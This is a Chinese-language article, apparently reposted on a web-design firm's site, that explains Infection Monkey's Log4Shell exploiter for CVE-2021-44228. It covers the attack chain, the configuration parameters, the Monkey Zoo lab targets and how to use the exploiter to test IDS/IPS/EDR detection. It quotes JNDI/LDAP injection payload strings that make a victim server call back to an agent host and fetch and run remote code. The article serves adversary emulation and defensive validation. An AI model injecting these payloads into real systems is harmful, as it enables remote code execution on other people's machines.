尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

Infection Monkey Log4Shell 利用器实战指南:利用 CVE-2021-44228 实现横向移动与防护验证

发布时间:2026/9/29 5:44:07

资讯中心
01
ARTICLE

Infection Monkey Log4Shell 利用器实战指南:利用 CVE-2021-44228 实现横向移动与防护验证

Infection Monkey Log4Shell 利用器实战指南:利用 CVE-2021-44228 实现横向移动与防护验证
网络安全应用安全【免费下载链接】monkeyInfection Monkey - An open-source adversary emulation platform项目地址https://gitcode.com/gh_mirrors/mo/monkey点击查看免费下载Log4ShellCVE-2021-44228是 Apache Log4j 日志组件中影响面极广的远程代码执行漏洞。本文基于 Infection Monkey 开源仓库中的官方功能文档与参考文档完整讲解该项目 Log4Shell 利用器的工作原理、四个核心配置参数、支持的服务与平台并结合仓库内 Monkey Zoo 测试环境的源码级证据说明如何用它验证横向移动能力以及 IDS/IPS/EDR 的检测效果。读完本文你将掌握该利用器的完整配置方法、攻击链机制以及如何在受控环境中复现与验证 Log4Shell 攻击。背景Apache Log4j 与 Log4ShellCVE-2021-44228Apache Log4j 是一个开源的 Java 日志框架被广泛用于在软件中记录错误信息、用户输入等运行时消息见 功能文档。由于其极高的采用率数千个软件包和应用程序都在使用 Log4j——这也意味着这些软件在 Log4Shell 漏洞出现时几乎全部处于暴露状态。Message Lookup Substitution漏洞的根源某些版本的 Apache Log4j 默认启用了一项名为Message Lookup Substitution消息查找替换的日志特性在记录日志时它会将某些特殊字符串动态替换为运行时生成的字符串。例如日志内容或日志参数中出现${...}形式的占位符时Log4j 会尝试解析它。问题在于如果日志消息或日志消息参数能够被攻击者控制攻击者就可以注入精心构造的占位符如 JNDI 查找从而触发任意代码执行。这一漏洞被业界命名为Log4Shell对应的 CVE 编号为CVE-2021-44228。Infection Monkey 的 Log4Shell 利用器Infection Monkey 是开源的 adversary emulation对手模拟平台其各 Exploiter 负责模拟真实攻击者利用已知漏洞的传播行为参见 Exploiters 总览。Log4Shell 利用器正是其中用于横向移动的一环它利用 CVE-2021-44228 漏洞从已被攻陷的机器Agent 所在机器向受害者机器传播让感染像猴子一样在网内跳跃扩散。从仓库的 CHANGELOG.md 可以还原出该利用器在项目中的演进脉络v1.13.02022-01-25新增通过 Log4Shell 漏洞CVE-2021-44228传播的 Exploiterissue #1663后续版本将硬编码的 Log4Shell 利用器重构为插件#3388使其可以像其他 Exploiter 插件一样独立打包、分发与配置修复了利用器可能残留LDAP 服务器和子进程的 bug#2820加固了配置校验Log4Shell 利用器配置中的端口不再允许使用浮点数#3734。被利用的服务Infection Monkey 会尝试在以下服务中利用 Log4Shell 漏洞参考 功能文档 与 参考文档Apache Solr默认端口 8983Apache Tomcat默认端口 8080 / 8000Logstash默认端口 9600这三个服务均基于 Java 且默认集成或依赖 Log4j是 2021 年底 Log4Shell 爆发时最典型、暴露面最大的攻击目标。攻击链还原JNDI 注入与 LDAP 回连虽然利用器的插件源码不在当前仓库中但从仓库内的测试环境日志与变更记录可以还原出这条典型的 Log4Shell 攻击链注入Agent 向目标服务的 HTTP 接口发送包含 JNDI 查找占位符的请求如日志注入占位符形如${jndi:ldap://agent_ip:port/dnExploit}。在 Monkey Zoo 的 Tomcat 靶机日志中可以找到这种真实载荷的痕迹见 zoo_network.mdloading attribute foo with value ${jndi:ldap://10.2.2.121:29573/dnExploit}回连目标服务在记录日志时其 Log4j 解析该占位符并向 Agent 启动的LDAP 服务器发起查询。从 CHANGELOG 中修复 Log4Shell 利用器可能残留 LDAP 服务器和子进程的修复记录#2820可以推断利用器会在本地启动自建的 LDAP 服务与相关子进程来接收回连。投递 exploitLDAP 响应返回可远程加载的恶意 Java 类受害服务下载并加载该类此阶段由exploit_download_timeout约束等待时长从而在目标机器上获得代码执行能力。投递 Agent 二进制被攻陷的服务器随后下载 Infection Monkey 的 Agent 二进制并启动此阶段由agent_binary_download_timeout约束等待时长。新 Agent 上线后继续扫描与传播完成横向移动闭环。上述两步超时参数的设计正好对应攻击链中下载 exploit与下载 Agent两个关键网络交互环节也解释了参考文档中这两个参数的用途。利用器配置详解该利用器的完整配置项由插件自带的config-schema.json自动生成文档见 参考文档。在 Infection Monkey Island 的配置界面中可以按需调整以下四个参数属性类型必填可空target_portsarray整数数组可选不可为 nulltry_all_discovered_http_portsboolean可选不可为 nullexploit_download_timeoutnumber可选不可为 nullagent_binary_download_timeoutnumber可选不可为 nulltarget_ports利用器将尝试攻击的 HTTP 端口列表类型为integer[]。默认值[ 8000, 8080, 8983, 9600 ]其中8080与8000通常对应 Tomcat 等 Java 应用服务器8983是 Apache Solr 的默认端口9600是 Logstash 的默认端口——与 Monkey Zoo 中三类靶机的实际监听端口一一对应。如果你环境中目标服务的端口不同可以在此显式覆盖。另外从 CHANGELOG 的加固记录#3734可知该列表中的端口必须是整数浮点数端口会被配置校验拒绝。try_all_discovered_http_ports布尔值。设为true时利用器会尝试攻击网络扫描阶段发现的所有 HTTP 端口而不仅限于target_ports列表。这一选项非常实用当目标服务的端口未知或经常变动时它可以借助指纹扫描结果自动扩大攻击面。Monkey Zoo 的 depth_2_b.py 测试配置展示了典型用法——将target_ports留空并开启本选项利用器便会攻击 HTTP 指纹器发现的目标端口Log4Shell: { # no ports are configured but because try_all_discovered_http_ports is # set to true, the exploiter should exploit 10.2.3.46 on port 8080 (configured # in the HTTP fingerprinter) try_all_discovered_http_ports: True, target_ports: [], },配合同文件中的 HTTP 指纹器配置http: {http_ports: [8080]}即使不显式指定端口利用器也能通过扫描结果命中 8080 端口的 Tomcat 服务。exploit_download_timeout等待受害者下载 exploit 的最大时间秒类型为number约束为必须大于 0最小值不包含边界。默认值5该超时对应攻击链中受害服务从利用器下载并加载恶意 Java 类这一环节。网络较慢或服务端 JVM 启动缓慢的环境中可以适当调大。agent_binary_download_timeout等待被成功利用的服务器下载 Agent 二进制文件的最大时间秒类型为number约束同样为必须大于 0。默认值15该超时对应攻击链的最后一环。若目标机器带宽有限或下载 Agent 体积较大需要相应放宽此值否则可能因超时导致已拿到代码执行权限的机器未能成功上钩成为新的 Agent。在 Island 界面中配置上述参数可以在 Infection Monkey Island 的配置页面 → 传播Propagation→ Log4Shell Exploiter区域中直接调整该截图取自仓库内的 功能文档展示了 Island UI 中 Log4Shell 利用器配置区的外观与可编辑项。支持的平台根据 参考文档该利用器同时支持从 Linux 与 Windows 发起攻击且目标平台也同时支持 Linux 与 Windows操作系统攻击发起方Attack from攻击目标TargetLinux支持支持Windows支持支持这一跨平台能力也体现在 Monkey Zoo 的靶机矩阵中Solr、Tomcat、Logstash 三类服务均同时部署了 Linux 与 Windows 靶机用于验证。在 Monkey Zoo 中的实战验证Monkey Zooenvs/monkey_zoo/是该项目用于端到端黑盒测试的 GCP 实验环境其中专门搭建了 6 台 Log4j 漏洞靶机并配套了自动化测试配置。靶机矩阵根据 zoo_network.md 与 gcp_test_machine_list.pyLog4j 相关靶机如下靶机IP操作系统软件默认端口Log4j Solr3-49 / 3-5010.2.3.49 / 10.2.3.50Linux / Windows Server 2016 x64Apache Solr 8.11.08983Log4j Tomcat3-51 / 3-5210.2.3.51 / 10.2.3.52Ubuntu 18.04LTS / Windows Server 2016 x64Apache Tomcat 8.0.368080Log4j Logstash3-55 / 3-5610.2.3.55 / 10.2.3.56Ubuntu 18.04LTS / Windows Server 2016 x64Logstash 5.5.0 Java 1.8.09600这些靶机全部位于monkeyzoo-main-1子网由 monkey_zoo.tf 中的google_compute_instance资源定义。测试配置示例在自动化黑盒测试中Log4Shell 利用器的启用方式有两种典型形态全部使用默认配置depth_1_a.py中直接以空配置启用让 6 台 Log4j 靶机10.2.3.49/50/51/52/55/56全部成为攻击目标见 depth_1_a.pyLog4Shell: {},利用端口发现能力depth_2_b.py中启用try_all_discovered_http_ports并结合 HTTP 指纹器完成跳板攻击见 depth_2_b.py其注释明确指出Log4Shell is required to hop into 46, which then uses credential reuse on 44——即先用 Log4Shell 攻入 10.2.3.46再通过凭据重用继续向 10.2.3.44 传播演示了多阶段横向移动链路。靶机环境复现如果希望在本地/云环境复现测试场景仓库提供了完整的 Packer 构建脚本log4j_solr_50.pkr.hcl 与 setup_log4j_solr_50.yml构建 Solr 靶机通过 Ansible 执行 windows_install_apache_solr.yml安装Apache Solr 8.11.0 JDK 1.8u181并以solr.cmd restart -p 8983 -m 4g注册开机自启任务同时用防火墙规则放行 8983 端口log4j_logstash_56.pkr.hcl 与 setup_log4j_logstash_56.yml构建 Logstash 靶机安装Logstash 5.5.0见 windows_install_logstash.yml并放行 9600 端口。这些脚本展示了如何精确复刻存在 Log4Shell 漏洞的旧版本 Java 服务可作为搭建个人验证环境的参考蓝本。Tomcat 靶机的两个实践陷阱Monkey Zoo 文档还记录了搭建 Tomcat 靶机时容易踩到的两个坑见 zoo_network.md对自行搭建实验环境很有借鉴价值启动缓慢Tomcat 的 JVM 需要将java.security.egd设置为/dev/urandom否则服务启动可能需要非常长的时间修改/usr/tomcat/bin/catalina.sh中的JAVA_OPTS会话残留导致重启卡顿被利用过的 Tomcat 会话中残留着${jndi:ldap://.../dnExploit}载荷重置后服务重启时会再次尝试下载该 payload造成约 2 分钟的阻塞日志中可见两次readObject() loading session之间的 2 分钟时间差。解决方法是编辑/usr/tomcat/conf/context.xml取消Manager pathname /的注释以禁用会话持久化。用 Log4Shell 利用器验证 IDS/IPS/EDR一个容易被忽略但很有价值的用法即使你的环境中没有运行 Solr、Tomcat 或 Logstash运行 Log4Shell 利用器也是检验安全防护体系的好方法。正如 功能文档 明确指出的IDS/IPS 或 EDR 应当能够检测到 Infection Monkey 正在尝试利用 Log4Shell 漏洞并产生相应的告警。通过在一次受控演练中运行该利用器你可以验证网络侧检测设备IDS/IPS能否识别 JNDI/LDAP 回连特征验证终端侧防护EDR能否捕获恶意 Java 类加载与 Agent 落地行为在不引入真实恶意软件的前提下训练蓝队对 Log4Shell 攻击的响应流程。缓解措施对于 Log4Shell 漏洞本身的防护社区与厂商的共识性缓解思路包括升级 Apache Log4j 至已修复该 CVE 的版本、移除或禁用存在问题的JndiLookup组件、以及限制 LDAP 等 JNDI 远程查找的出站访问。Infection Monkey 官方文档将漏洞细节与缓解方案的完整说明指向 Apache Log4j 官方安全公告见 功能文档 的 Mitigation 章节部署与升级前建议以官方公告为准。同时如前文所述你完全可以反过来利用 Infection Monkey 的 Log4Shell 利用器在自有环境中主动发起模拟攻击验证升级与缓解措施是否真正生效。参见Log4Shell 利用器参考文档配置参数权威来源Exploiters 功能特性总览Monkey Zoo 网络拓扑与靶机清单含全部 Log4j 靶机明细Monkey Zoo 黑盒测试机清单与分组depth_1_a 测试配置默认配置启用 Log4Shelldepth_2_b 测试配置try_all_discovered_http_ports 联动指纹器Log4Shell 利用器在项目中的演进与修复记录赞分享网络安全应用安全【免费下载链接】monkeyInfection Monkey - An open-source adversary emulation platform项目地址https://gitcode.com/gh_mirrors/mo/monkey点击查看免费下载相关推荐Logpresso CVE-2021-44228 Scanner 使用指南Logpresso CVE 2021 44228 Scanner 使用指南 项目介绍 Logpresso CVE 2021 44228 Scanner 是一个专应用安全漏洞扫描Nothing Private测试策略Cypress集成测试与Karma单元测试完整解析Nothing Private测试策略Cypress集成测试与Karma单元测试完整解析 Nothing Private是一个旨在证明即使在使用隐私浏览或隐身Apache Pulsar 应对 Log4ShellCVE-2021-44228漏洞影响评估与两种应急缓解方案Apache Pulsar 应对 Log4ShellCVE 2021 44228漏洞影响评估与两种应急缓解方案 本文基于 Apache Pulsar 官方消息队列后端流处理上一篇Moonlight Embedded高级配置指南优化你的游戏串流体验下一篇【亲测免费】 PC微信小程序 wxapkg 解密项目指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

◈

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

◐

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

▲

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。